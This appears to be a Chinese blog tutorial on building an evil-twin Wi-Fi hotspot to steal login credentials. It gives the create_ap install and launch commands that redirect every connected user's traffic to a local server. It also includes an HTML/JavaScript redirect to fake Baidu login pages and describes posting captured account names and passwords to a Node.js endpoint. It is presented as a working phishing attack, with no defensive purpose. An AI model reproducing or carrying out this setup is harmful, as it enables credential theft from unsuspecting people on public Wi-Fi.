前提准备:
前提是当前的网卡必须支持AP(Acess Point)模式, 也可以使用外接的usb网卡
nodeJS环境
安装create_AP
使用create_AP创建热点, 安装方式为:
git clone https://github.com/oblique/create_ap
cd create_ap
make install
安装静态服务器
首先使用express在本地创建一个服务器, 指向baidu的登陆页面:
在本地写好静态界面, HTML主页的代码为, 判断当前的浏览设备是手机还是电脑, 然后跳到不同的界面:
<html>
<head></head>
<body>
<script>
//if(location.href.indexOf("baidu")!=-1) {
if (/(iPhone|iPad|iPod|iOS)/i.test(navigator.userAgent)) { location.href = "wap-baidu.html";
} else if (/(Android)/i.test(navigator.userAgent)) {
location.href = "wap-baidu.html";
}else{
location.href= "www-baidu.html";
}
//}
</script>
</body>
</html>
用nodeJS搭建一个服务器, 正常浏览的时候首页如下图, 诱导用户输入密码:
创建热点
在命令行执行, -n和--redirect-to-localhost是指, 把所有的链接全部重定向到我的本地服务器, wlx001d0f04f093为我的外接USB网卡, fish为wifi的名字(SSID)
sudo create_ap -n --redirect-to-localhost --no-virt wlx001d0f04f093 fish
只要用户连接上了我们的wifi, 只要他浏览网页, 都会重定向到baidu的登陆界面, 当用户点击登陆的时候, 把密码和帐号post到nodeJS提供的接口即可;
参考
create_ap创建热点 : https://github.com/oblique/create_ap
bettercap : https://www.bettercap.org/
作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/ 厦门点燃未来网络科技
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830